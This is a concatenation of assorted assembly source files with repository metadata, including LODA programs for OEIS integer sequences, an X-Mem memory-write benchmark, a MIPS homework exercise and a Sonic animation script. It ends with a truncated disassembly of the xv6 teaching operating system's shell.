84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A041039: Denominators of continued fraction convergents to sqrt(24). ; Submitted by Jon Maiga ; 1,1,9,10,89,99,881,980,8721,9701,86329,96030,854569,950599,8459361,9409960,83739041,93149001,828931049,922080050,8205571449,9127651499,81226783441,90354434940,804062262961,894416697901,7959395846169,8853812544070,78789896198729,87643708742799,779939566141121,867583274883920,7720605765212481,8588189040096401,76426118085983689,85014307126080090,756540575094624409,841554882220704499,7488979632860260401,8330534515080964900,74133255753507979601,82463790268588944501,733843577902219535609 add $0,1 mov $3,1 lpb $0 sub $0,1 dif $2,3 add $2,$3 mov $3,$1 mov $1,$2 dif $2,8 mul $2,24 lpe mov $0,$2 div $0,24
39.777778
488
0.815642
cfdc40c3cc4efc0329d21afdaf1ae9f339e65ecb
736
asm
Assembly
oeis/273/A273596.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/273/A273596.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/273/A273596.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A273596: For n >= 2, a(n) is the number of slim rectangular diagrams of length n. ; Submitted by Jamie Morken(s4) ; 1,3,9,32,139,729,4515,32336,263205,2401183,24275037,269426592,3257394143,42615550453,599875100487,9040742057760,145251748024649,2478320458476795,44755020000606961,852823700470009056,17101229029400788083,359978633317886558801,7936631162022905081707,182902495359844703438064,4397596519798295787595245,110122815490317239393319191,2867590799268046520013894213,77535074395727573279768462944,2173849673879640098353530856647,63119175616905290425532163305709,1895749118181038352864318430027919 mov $2,1 mov $4,1 lpb $0 sub $0,1 mov $3,$4 mov $4,$2 mul $2,$0 add $2,$3 add $4,$2 add $1,$4 lpe mov $0,$1 add $0,1
40.888889
487
0.815217
c9c4da9f606f6a32b1ac6c03be19700c0697581c
8,349
asm
Assembly
src/win/x86_64/win_x86_64_asm_forwStride2Write_Word128.asm
csl-ajou/X-mem
5c2d5c6bf2c899c838bf6af07fadaeb5c0a261e9
[ "MIT" ]
28
2019-05-11T20:52:32.000Z
2021-12-06T02:36:23.000Z
src/win/x86_64/win_x86_64_asm_forwStride2Write_Word128.asm
csl-ajou/X-mem
5c2d5c6bf2c899c838bf6af07fadaeb5c0a261e9
[ "MIT" ]
24
2021-05-20T17:12:15.000Z
2021-09-22T22:19:23.000Z
src/win/x86_64/win_x86_64_asm_forwStride2Write_Word128.asm
365andreas/X-Mem
f0d8b64a67647e0b1680d8739338245130b76286
[ "MIT" ]
23
2019-05-29T00:38:11.000Z
2021-11-22T21:54:24.000Z
; The MIT License (MIT) ; ; Copyright (c) 2014 Microsoft ; ; Permission is hereby granted, free of charge, to any person obtaining a copy ; of this software and associated documentation files (the "Software"), to deal ; in the Software without restriction, including without limitation the rights ; to use, copy, modify, merge, publish, distribute, sublicense, and/or sell ; copies of the Software, and to permit persons to whom the Software is ; furnished to do so, subject to the following conditions: ; ; The above copyright notice and this permission notice shall be included in all ; copies or substantial portions of the Software. ; ; THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR ; IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, ; FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE ; AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER ; LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, ; OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE ; SOFTWARE. ; ; Author: Mark Gottscho <mgottscho@ucla.edu> .code win_x86_64_asm_forwStride2Write_Word128 proc ; Arguments: ; rcx is address of the first 128-bit word in the array ; rdx is address of the last 128-bit word in the array ; rax holds number of words accessed ; rcx holds the first 128-bit word address ; rdx holds the target total number of words to access ; xmm0 holds result from reading the memory 128-bit wide xor rax,rax ; initialize number of words accessed to 0 sub rdx,rcx ; Get total number of 128-bit words between starting and ending addresses shr rdx,4 ; initialize ymm0 to the value to write to memory. We will use all 1s, e.g. 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF ; I am using the first 128-bits of the memory array to initialize xmm0. Is there a better way to do this? mov qword ptr [rcx],0FFFFFFFFh mov qword ptr [rcx+8h],0FFFFFFFFh mov qword ptr [rcx+10h],0FFFFFFFFh mov qword ptr [rcx+18h],0FFFFFFFFh vmovdqu xmm0, xmmword ptr[rcx] cmp rax,rdx ; have we completed the target total number of words to access? jae done ; if the number of words accessed >= the target number, then we are done myloop: ; Unroll 128 loads of 128-bit words (16 bytes is 10h) in strides of 2 words before checking loop condition. vmovdqa xmmword ptr [rcx+0000h], xmm0 vmovdqa xmmword ptr [rcx+0020h], xmm0 vmovdqa xmmword ptr [rcx+0040h], xmm0 vmovdqa xmmword ptr [rcx+0060h], xmm0 vmovdqa xmmword ptr [rcx+0080h], xmm0 vmovdqa xmmword ptr [rcx+00A0h], xmm0 vmovdqa xmmword ptr [rcx+00C0h], xmm0 vmovdqa xmmword ptr [rcx+00E0h], xmm0 vmovdqa xmmword ptr [rcx+0100h], xmm0 vmovdqa xmmword ptr [rcx+0120h], xmm0 vmovdqa xmmword ptr [rcx+0140h], xmm0 vmovdqa xmmword ptr [rcx+0160h], xmm0 vmovdqa xmmword ptr [rcx+0180h], xmm0 vmovdqa xmmword ptr [rcx+01A0h], xmm0 vmovdqa xmmword ptr [rcx+01C0h], xmm0 vmovdqa xmmword ptr [rcx+01E0h], xmm0 vmovdqa xmmword ptr [rcx+0200h], xmm0 vmovdqa xmmword ptr [rcx+0220h], xmm0 vmovdqa xmmword ptr [rcx+0240h], xmm0 vmovdqa xmmword ptr [rcx+0260h], xmm0 vmovdqa xmmword ptr [rcx+0280h], xmm0 vmovdqa xmmword ptr [rcx+02A0h], xmm0 vmovdqa xmmword ptr [rcx+02C0h], xmm0 vmovdqa xmmword ptr [rcx+02E0h], xmm0 vmovdqa xmmword ptr [rcx+0300h], xmm0 vmovdqa xmmword ptr [rcx+0320h], xmm0 vmovdqa xmmword ptr [rcx+0340h], xmm0 vmovdqa xmmword ptr [rcx+0360h], xmm0 vmovdqa xmmword ptr [rcx+0380h], xmm0 vmovdqa xmmword ptr [rcx+03A0h], xmm0 vmovdqa xmmword ptr [rcx+03C0h], xmm0 vmovdqa xmmword ptr [rcx+03E0h], xmm0 vmovdqa xmmword ptr [rcx+0400h], xmm0 vmovdqa xmmword ptr [rcx+0420h], xmm0 vmovdqa xmmword ptr [rcx+0440h], xmm0 vmovdqa xmmword ptr [rcx+0460h], xmm0 vmovdqa xmmword ptr [rcx+0480h], xmm0 vmovdqa xmmword ptr [rcx+04A0h], xmm0 vmovdqa xmmword ptr [rcx+04C0h], xmm0 vmovdqa xmmword ptr [rcx+04E0h], xmm0 vmovdqa xmmword ptr [rcx+0500h], xmm0 vmovdqa xmmword ptr [rcx+0520h], xmm0 vmovdqa xmmword ptr [rcx+0540h], xmm0 vmovdqa xmmword ptr [rcx+0560h], xmm0 vmovdqa xmmword ptr [rcx+0580h], xmm0 vmovdqa xmmword ptr [rcx+05A0h], xmm0 vmovdqa xmmword ptr [rcx+05C0h], xmm0 vmovdqa xmmword ptr [rcx+05E0h], xmm0 vmovdqa xmmword ptr [rcx+0600h], xmm0 vmovdqa xmmword ptr [rcx+0620h], xmm0 vmovdqa xmmword ptr [rcx+0640h], xmm0 vmovdqa xmmword ptr [rcx+0660h], xmm0 vmovdqa xmmword ptr [rcx+0680h], xmm0 vmovdqa xmmword ptr [rcx+06A0h], xmm0 vmovdqa xmmword ptr [rcx+06C0h], xmm0 vmovdqa xmmword ptr [rcx+06E0h], xmm0 vmovdqa xmmword ptr [rcx+0700h], xmm0 vmovdqa xmmword ptr [rcx+0720h], xmm0 vmovdqa xmmword ptr [rcx+0740h], xmm0 vmovdqa xmmword ptr [rcx+0760h], xmm0 vmovdqa xmmword ptr [rcx+0780h], xmm0 vmovdqa xmmword ptr [rcx+07A0h], xmm0 vmovdqa xmmword ptr [rcx+07C0h], xmm0 vmovdqa xmmword ptr [rcx+07E0h], xmm0 vmovdqa xmmword ptr [rcx+0800h], xmm0 vmovdqa xmmword ptr [rcx+0820h], xmm0 vmovdqa xmmword ptr [rcx+0840h], xmm0 vmovdqa xmmword ptr [rcx+0860h], xmm0 vmovdqa xmmword ptr [rcx+0880h], xmm0 vmovdqa xmmword ptr [rcx+08A0h], xmm0 vmovdqa xmmword ptr [rcx+08C0h], xmm0 vmovdqa xmmword ptr [rcx+08E0h], xmm0 vmovdqa xmmword ptr [rcx+0900h], xmm0 vmovdqa xmmword ptr [rcx+0920h], xmm0 vmovdqa xmmword ptr [rcx+0940h], xmm0 vmovdqa xmmword ptr [rcx+0960h], xmm0 vmovdqa xmmword ptr [rcx+0980h], xmm0 vmovdqa xmmword ptr [rcx+09A0h], xmm0 vmovdqa xmmword ptr [rcx+09C0h], xmm0 vmovdqa xmmword ptr [rcx+09E0h], xmm0 vmovdqa xmmword ptr [rcx+0A00h], xmm0 vmovdqa xmmword ptr [rcx+0A20h], xmm0 vmovdqa xmmword ptr [rcx+0A40h], xmm0 vmovdqa xmmword ptr [rcx+0A60h], xmm0 vmovdqa xmmword ptr [rcx+0A80h], xmm0 vmovdqa xmmword ptr [rcx+0AA0h], xmm0 vmovdqa xmmword ptr [rcx+0AC0h], xmm0 vmovdqa xmmword ptr [rcx+0AE0h], xmm0 vmovdqa xmmword ptr [rcx+0B00h], xmm0 vmovdqa xmmword ptr [rcx+0B20h], xmm0 vmovdqa xmmword ptr [rcx+0B40h], xmm0 vmovdqa xmmword ptr [rcx+0B60h], xmm0 vmovdqa xmmword ptr [rcx+0B80h], xmm0 vmovdqa xmmword ptr [rcx+0BA0h], xmm0 vmovdqa xmmword ptr [rcx+0BC0h], xmm0 vmovdqa xmmword ptr [rcx+0BE0h], xmm0 vmovdqa xmmword ptr [rcx+0C00h], xmm0 vmovdqa xmmword ptr [rcx+0C20h], xmm0 vmovdqa xmmword ptr [rcx+0C40h], xmm0 vmovdqa xmmword ptr [rcx+0C60h], xmm0 vmovdqa xmmword ptr [rcx+0C80h], xmm0 vmovdqa xmmword ptr [rcx+0CA0h], xmm0 vmovdqa xmmword ptr [rcx+0CC0h], xmm0 vmovdqa xmmword ptr [rcx+0CE0h], xmm0 vmovdqa xmmword ptr [rcx+0D00h], xmm0 vmovdqa xmmword ptr [rcx+0D20h], xmm0 vmovdqa xmmword ptr [rcx+0D40h], xmm0 vmovdqa xmmword ptr [rcx+0D60h], xmm0 vmovdqa xmmword ptr [rcx+0D80h], xmm0 vmovdqa xmmword ptr [rcx+0DA0h], xmm0 vmovdqa xmmword ptr [rcx+0DC0h], xmm0 vmovdqa xmmword ptr [rcx+0DE0h], xmm0 vmovdqa xmmword ptr [rcx+0E00h], xmm0 vmovdqa xmmword ptr [rcx+0E20h], xmm0 vmovdqa xmmword ptr [rcx+0E40h], xmm0 vmovdqa xmmword ptr [rcx+0E60h], xmm0 vmovdqa xmmword ptr [rcx+0E80h], xmm0 vmovdqa xmmword ptr [rcx+0EA0h], xmm0 vmovdqa xmmword ptr [rcx+0EC0h], xmm0 vmovdqa xmmword ptr [rcx+0EE0h], xmm0 vmovdqa xmmword ptr [rcx+0F00h], xmm0 vmovdqa xmmword ptr [rcx+0F20h], xmm0 vmovdqa xmmword ptr [rcx+0F40h], xmm0 vmovdqa xmmword ptr [rcx+0F60h], xmm0 vmovdqa xmmword ptr [rcx+0F80h], xmm0 vmovdqa xmmword ptr [rcx+0FA0h], xmm0 vmovdqa xmmword ptr [rcx+0FC0h], xmm0 vmovdqa xmmword ptr [rcx+0FE0h], xmm0 add rax,128 ; Just did 128 accesses cmp rax,rdx ; have we completed the target number of accesses in total yet? jb myloop ; make another unrolled pass on the memory done: xor eax,eax ; return 0 ret win_x86_64_asm_forwStride2Write_Word128 endp end
43.036082
146
0.689184
a2f466caff8d8d146fbc6ede223c7f061efeabef
601
asm
Assembly
libsrc/_DEVELOPMENT/arch/zx/nirvanap/c/sdcc/NIRVANAP_paintC_callee.asm
teknoplop/z88dk
bb03fbfd6b2ab0f397a1358559089f9cd3706485
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/arch/zx/nirvanap/c/sdcc/NIRVANAP_paintC_callee.asm
teknoplop/z88dk
bb03fbfd6b2ab0f397a1358559089f9cd3706485
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/arch/zx/nirvanap/c/sdcc/NIRVANAP_paintC_callee.asm
teknoplop/z88dk
bb03fbfd6b2ab0f397a1358559089f9cd3706485
[ "ClArtistic" ]
null
null
null
; ---------------------------------------------------------------- ; Z88DK INTERFACE LIBRARY FOR NIRVANA+ ENGINE - by Einar Saukas ; ; See "nirvana+.h" for further details ; ---------------------------------------------------------------- ; void NIRVANAP_paintC(unsigned char *attrs, unsigned int lin, unsigned int col) ; callee SECTION code_clib SECTION code_nirvanap PUBLIC _NIRVANAP_paintC_callee EXTERN asm_NIRVANAP_paintC _NIRVANAP_paintC_callee: pop hl ; RET address pop bc ; attrs pop de ; lin ld d,e ex (sp),hl ; col ld e,l jp asm_NIRVANAP_paintC
22.259259
80
0.552413
513f2f5b627910177f4160066386912615dc820a
880
asm
Assembly
mips/mips_cc/16-1.asm
ping58972/Computer-Organization-Architecture
0f9377a9e54e3f0494143963aecf1ba7c83eec45
[ "ISC" ]
null
null
null
mips/mips_cc/16-1.asm
ping58972/Computer-Organization-Architecture
0f9377a9e54e3f0494143963aecf1ba7c83eec45
[ "ISC" ]
null
null
null
mips/mips_cc/16-1.asm
ping58972/Computer-Organization-Architecture
0f9377a9e54e3f0494143963aecf1ba7c83eec45
[ "ISC" ]
null
null
null
## MIPS Assignment #2 ## Ch16-1.asm ## Program to calculate: (12+97+133+82+236)/5 .data b1: .byte 12 b2: .byte 97 b3: .byte 133 b4: .byte 82 b5: .byte 236 .text main: ori $7,$0,0x5 # Initialize 5 for division later on lui $8,0x1001 # Save base address lbu $9,0($8) # Load byte 1 lbu $10, 1($8) # Load byte 2 lbu $11, 2($8) # Load byte 3 lbu $12, 3($8) # Load byte 4 lbu $13, 4($8) # Load byte 5 addu $10, $9, $10 # $10 <- b1+b2 addu $10, $10, $11 # $10 <- b1+b2+b3 addu $10, $10, $12 # $10 <- b1+b2+b3+b4 addu $10, $10, $13 # $10 <- b1+b2+b3+b4+b5 divu $10, $7 # (b1+b2+b3+b4+b5)/5 mflo $10 # $10 <- result sb $10, 1($8) # storing result to memory ## End of file
30.344828
63
0.445455
af031ab123b9fda53e24d38cbb44cc54b79822e5
1,975
asm
Assembly
programs/oeis/184/A184036.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/184/A184036.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/184/A184036.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A184036: 1/16 the number of (n+1) X 7 0..3 arrays with all 2 X 2 subblocks having the same four values. ; 325,337,358,400,478,634,934,1534,2710,5062,9718,19030,37558,74614,148534,296374,591670,1182262,2362678,4723510,9443638,18883894,37761334,75516214,151019830,302027062,604029238,1208033590,2416017718,4831985974,9663873334,19327648054,38655099190,77310001462,154619609398,309238825270,618476863798,1236952940854,2473904308534,4947807043894,9895610941750,19791218737462,39582431183158,79164856074550,158329699565878,316659386548534,633318747930934,1266637470695734,2533274891059510,5066549731787062,10133099362910518,20266198625157430,40532397048987958,81064793896649014,162129587390644534,324259174378635574,648518347951964470,1297036695098622262,2594073388586631478,5188146775562649910,10376293547904074038,20752587092586922294,41505174178731393334,83010348351020335414,166020696689155768630,332041393365426635062,664082786705083466038,1328165573384397127990,2656331146717254648118,5312662293382969688374,10625324586662860161334,21250649173222641107254,42501298346239123783990,85002596692272089137462,170005193384131861414198,340010386767851405967670,680020773534878178214198,1360041547068931722707254,2720083094136214177972534,5440166188270779088503094,10880332376538259642122550,21760664753073220749361462,43521329506139844428955958,87042659012273091788144950,174085318024532989436756278,348170636049052784733978934,696341272098079181188890934,1392682544196131974098714934,2785365088392211171639296310,5570730176784369566720459062,11141460353568633580324651318,22282920707137161607533035830,44565841414274112108833538358,89131682828548013111434543414,178263365657095604010404020534,356526731314190785808342974774,713053462628380727191755817270,1426106925256760609958581502262,2852213850513519531067302740278,5704427701027037373284745216310 mov $1,4 mov $2,$0 lpb $0 mul $1,2 add $1,$2 sub $1,$0 sub $0,1 trn $2,2 lpe sub $1,4 mul $1,3 add $1,325 mov $0,$1
116.176471
1,741
0.900759
e65d9e44d4d16804b108031499c289305716562d
371
asm
Assembly
oeis/040/A040204.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/040/A040204.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/040/A040204.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A040204: Continued fraction for sqrt(219). ; Submitted by Jon Maiga ; 14,1,3,1,28,1,3,1,28,1,3,1,28,1,3,1,28,1,3,1,28,1,3,1,28,1,3,1,28,1,3,1,28,1,3,1,28,1,3,1,28,1,3,1,28,1,3,1,28,1,3,1,28,1,3,1,28,1,3,1,28,1,3,1,28,1,3,1,28,1,3,1,28,1,3,1,28,1,3,1,28,1,3,1 gcd $0,262156 mul $0,42 mod $0,13 mov $1,$0 sub $1,2 div $1,5 mul $1,16 add $0,$1 mul $0,2 div $0,3 sub $0,1
23.1875
190
0.595687
7af65f1601f0e5734209adf2e70a0971b6d65b6c
421
asm
Assembly
_anim/SBZ Spin Platform Conveyor.asm
kodishmediacenter/msu-md-sonic
3aa7c5e8add9660df2cd0eceaa214e7d59f2415c
[ "CC0-1.0" ]
9
2021-01-15T13:47:53.000Z
2022-01-17T15:33:55.000Z
_anim/SBZ Spin Platform Conveyor.asm
kodishmediacenter/msu-md-sonic
3aa7c5e8add9660df2cd0eceaa214e7d59f2415c
[ "CC0-1.0" ]
7
2021-01-14T02:18:48.000Z
2021-03-24T15:44:30.000Z
_anim/SBZ Spin Platform Conveyor.asm
kodishmediacenter/msu-md-sonic
3aa7c5e8add9660df2cd0eceaa214e7d59f2415c
[ "CC0-1.0" ]
2
2021-01-14T13:14:26.000Z
2021-01-29T17:46:04.000Z
; --------------------------------------------------------------------------- ; Animation script - platform on conveyor belt (SBZ) ; --------------------------------------------------------------------------- Ani_SpinConvey: dc.w @spin-Ani_SpinConvey dc.w @still-Ani_SpinConvey @spin: dc.b 0, 0, 1, 2, 3, 4, $43, $42, $41, $40, $61, $62, $63 dc.b $64, $23, $22, $21, 0, afEnd even @still: dc.b $F, 0, afEnd even
42.1
77
0.389549
d5458bd8343d4068db66811e67b97ae42554a0ab
1,147
asm
Assembly
programs/oeis/017/A017017.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/017/A017017.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/017/A017017.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A017017: a(n) = 7n+3. ; 3,10,17,24,31,38,45,52,59,66,73,80,87,94,101,108,115,122,129,136,143,150,157,164,171,178,185,192,199,206,213,220,227,234,241,248,255,262,269,276,283,290,297,304,311,318,325,332,339,346,353,360,367,374,381,388,395,402,409,416,423,430,437,444,451,458,465,472,479,486,493,500,507,514,521,528,535,542,549,556,563,570,577,584,591,598,605,612,619,626,633,640,647,654,661,668,675,682,689,696,703,710,717,724,731,738,745,752,759,766,773,780,787,794,801,808,815,822,829,836,843,850,857,864,871,878,885,892,899,906,913,920,927,934,941,948,955,962,969,976,983,990,997,1004,1011,1018,1025,1032,1039,1046,1053,1060,1067,1074,1081,1088,1095,1102,1109,1116,1123,1130,1137,1144,1151,1158,1165,1172,1179,1186,1193,1200,1207,1214,1221,1228,1235,1242,1249,1256,1263,1270,1277,1284,1291,1298,1305,1312,1319,1326,1333,1340,1347,1354,1361,1368,1375,1382,1389,1396,1403,1410,1417,1424,1431,1438,1445,1452,1459,1466,1473,1480,1487,1494,1501,1508,1515,1522,1529,1536,1543,1550,1557,1564,1571,1578,1585,1592,1599,1606,1613,1620,1627,1634,1641,1648,1655,1662,1669,1676,1683,1690,1697,1704,1711,1718,1725,1732,1739,1746 mov $1,$0 mul $1,7 add $1,3
163.857143
1,093
0.757629
874d134a5da277f4e105bff81582076e44389543
147
asm
Assembly
other.7z/SFC.7z/SFC/ソースデータ/ヨッシーアイランド/日本_Ver2/sfc/ys_bbbros.asm
prismotizm/gigaleak
d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
other.7z/SFC.7z/SFC/ソースデータ/ヨッシーアイランド/日本_Ver2/sfc/ys_bbbros.asm
prismotizm/gigaleak
d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
other.7z/SFC.7z/SFC/ソースデータ/ヨッシーアイランド/日本_Ver2/sfc/ys_bbbros.asm
prismotizm/gigaleak
d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
Name: ys_bbbros.asm Type: file Size: 99729 Last-Modified: '2016-05-13T04:51:43Z' SHA-1: 09934E1439642EF05C311E2768351D054E0CDA2C Description: null
21
47
0.816327
cc004f7e9cca2dd35c7e7b02bbda75c96575ed31
64
asm
Assembly
unittests/ASM/Secondary/15_XX_5.asm
cobalt2727/FEX
13087f8425aeaad28dc81bed46a83e1d72ff0db8
[ "MIT" ]
628
2020-03-06T14:01:32.000Z
2022-03-31T06:35:14.000Z
unittests/ASM/Secondary/15_XX_5.asm
cobalt2727/FEX
13087f8425aeaad28dc81bed46a83e1d72ff0db8
[ "MIT" ]
576
2020-03-06T08:25:12.000Z
2022-03-30T04:05:29.000Z
unittests/ASM/Secondary/15_XX_5.asm
cobalt2727/FEX
13087f8425aeaad28dc81bed46a83e1d72ff0db8
[ "MIT" ]
38
2020-03-07T06:10:00.000Z
2022-03-29T09:27:36.000Z
%ifdef CONFIG { } %endif ; Just to ensure execution lfence hlt
7.111111
26
0.71875
30b598cac280e174072a613676aa6aea78f6d776
97,078
asm
Assembly
sh.asm
mur1ll0/xv6-stride
17b78f43da6fa3a14b83ddf161dae61a222eab0c
[ "MIT-0" ]
null
null
null
sh.asm
mur1ll0/xv6-stride
17b78f43da6fa3a14b83ddf161dae61a222eab0c
[ "MIT-0" ]
null
null
null
sh.asm
mur1ll0/xv6-stride
17b78f43da6fa3a14b83ddf161dae61a222eab0c
[ "MIT-0" ]
null
null
null
_sh: file format elf32-i386 Disassembly of section .text: 00000000 <main>: return 0; } int main(void) { 0: 8d 4c 24 04 lea 0x4(%esp),%ecx 4: 83 e4 f0 and $0xfffffff0,%esp 7: ff 71 fc pushl -0x4(%ecx) a: 55 push %ebp b: 89 e5 mov %esp,%ebp d: 51 push %ecx e: 83 ec 04 sub $0x4,%esp static char buf[100]; int fd; // Ensure that three file descriptors are open. while((fd = open("console", O_RDWR)) >= 0){ 11: eb 0e jmp 21 <main+0x21> 13: 90 nop 14: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if(fd >= 3){ 18: 83 f8 02 cmp $0x2,%eax 1b: 0f 8f c9 00 00 00 jg ea <main+0xea> while((fd = open("console", O_RDWR)) >= 0){ 21: 83 ec 08 sub $0x8,%esp 24: 6a 02 push $0x2 26: 68 f1 11 00 00 push $0x11f1 2b: e8 f2 0c 00 00 call d22 <open> 30: 83 c4 10 add $0x10,%esp 33: 85 c0 test %eax,%eax 35: 79 e1 jns 18 <main+0x18> 37: eb 25 jmp 5e <main+0x5e> 39: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi } } // Read and run input commands. while(getcmd(buf, sizeof(buf)) >= 0){ if(buf[0] == 'c' && buf[1] == 'd' && buf[2] == ' '){ 40: 80 3d 02 18 00 00 20 cmpb $0x20,0x1802 47: 74 60 je a9 <main+0xa9> 49: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi buf[strlen(buf)-1] = 0; // chop \n if(chdir(buf+3) < 0) printf(2, "cannot cd %s\n", buf+3); continue; } if(fork1() == 0) 50: e8 1b 01 00 00 call 170 <fork1> 55: 85 c0 test %eax,%eax 57: 74 36 je 8f <main+0x8f> runcmd(parsecmd(buf)); wait(); 59: e8 8c 0c 00 00 call cea <wait> while(getcmd(buf, sizeof(buf)) >= 0){ 5e: 83 ec 08 sub $0x8,%esp 61: 6a 64 push $0x64 63: 68 00 18 00 00 push $0x1800 68: e8 93 00 00 00 call 100 <getcmd> 6d: 83 c4 10 add $0x10,%esp 70: 85 c0 test %eax,%eax 72: 78 30 js a4 <main+0xa4> if(buf[0] == 'c' && buf[1] == 'd' && buf[2] == ' '){ 74: 80 3d 00 18 00 00 63 cmpb $0x63,0x1800 7b: 75 d3 jne 50 <main+0x50> 7d: 80 3d 01 18 00 00 64 cmpb $0x64,0x1801 84: 74 ba je 40 <main+0x40> if(fork1() == 0) 86: e8 e5 00 00 00 call 170 <fork1> 8b: 85 c0 test %eax,%eax 8d: 75 ca jne 59 <main+0x59> runcmd(parsecmd(buf)); 8f: 83 ec 0c sub $0xc,%esp 92: 68 00 18 00 00 push $0x1800 97: e8 94 09 00 00 call a30 <parsecmd> 9c: 89 04 24 mov %eax,(%esp) 9f: e8 fc 00 00 00 call 1a0 <runcmd> } exit(); a4: e8 39 0c 00 00 call ce2 <exit> buf[strlen(buf)-1] = 0; // chop \n a9: 83 ec 0c sub $0xc,%esp ac: 68 00 18 00 00 push $0x1800 b1: e8 6a 0a 00 00 call b20 <strlen> if(chdir(buf+3) < 0) b6: c7 04 24 03 18 00 00 movl $0x1803,(%esp) buf[strlen(buf)-1] = 0; // chop \n bd: c6 80 ff 17 00 00 00 movb $0x0,0x17ff(%eax) if(chdir(buf+3) < 0) c4: e8 89 0c 00 00 call d52 <chdir> c9: 83 c4 10 add $0x10,%esp cc: 85 c0 test %eax,%eax ce: 79 8e jns 5e <main+0x5e> printf(2, "cannot cd %s\n", buf+3); d0: 50 push %eax d1: 68 03 18 00 00 push $0x1803 d6: 68 f9 11 00 00 push $0x11f9 db: 6a 02 push $0x2 dd: e8 4e 0d 00 00 call e30 <printf> e2: 83 c4 10 add $0x10,%esp e5: e9 74 ff ff ff jmp 5e <main+0x5e> close(fd); ea: 83 ec 0c sub $0xc,%esp ed: 50 push %eax ee: e8 17 0c 00 00 call d0a <close> break; f3: 83 c4 10 add $0x10,%esp f6: e9 63 ff ff ff jmp 5e <main+0x5e> fb: 66 90 xchg %ax,%ax fd: 66 90 xchg %ax,%ax ff: 90 nop 00000100 <getcmd>: { 100: 55 push %ebp 101: 89 e5 mov %esp,%ebp 103: 56 push %esi 104: 53 push %ebx 105: 8b 75 0c mov 0xc(%ebp),%esi 108: 8b 5d 08 mov 0x8(%ebp),%ebx printf(2, "$ "); 10b: 83 ec 08 sub $0x8,%esp 10e: 68 50 11 00 00 push $0x1150 113: 6a 02 push $0x2 115: e8 16 0d 00 00 call e30 <printf> memset(buf, 0, nbuf); 11a: 83 c4 0c add $0xc,%esp 11d: 56 push %esi 11e: 6a 00 push $0x0 120: 53 push %ebx 121: e8 2a 0a 00 00 call b50 <memset> gets(buf, nbuf); 126: 58 pop %eax 127: 5a pop %edx 128: 56 push %esi 129: 53 push %ebx 12a: e8 81 0a 00 00 call bb0 <gets> if(buf[0] == 0) // EOF 12f: 83 c4 10 add $0x10,%esp 132: 31 c0 xor %eax,%eax 134: 80 3b 00 cmpb $0x0,(%ebx) 137: 0f 94 c0 sete %al } 13a: 8d 65 f8 lea -0x8(%ebp),%esp if(buf[0] == 0) // EOF 13d: f7 d8 neg %eax } 13f: 5b pop %ebx 140: 5e pop %esi 141: 5d pop %ebp 142: c3 ret 143: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 149: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000150 <panic>: } void panic(char *s) { 150: 55 push %ebp 151: 89 e5 mov %esp,%ebp 153: 83 ec 0c sub $0xc,%esp printf(2, "%s\n", s); 156: ff 75 08 pushl 0x8(%ebp) 159: 68 ed 11 00 00 push $0x11ed 15e: 6a 02 push $0x2 160: e8 cb 0c 00 00 call e30 <printf> exit(); 165: e8 78 0b 00 00 call ce2 <exit> 16a: 8d b6 00 00 00 00 lea 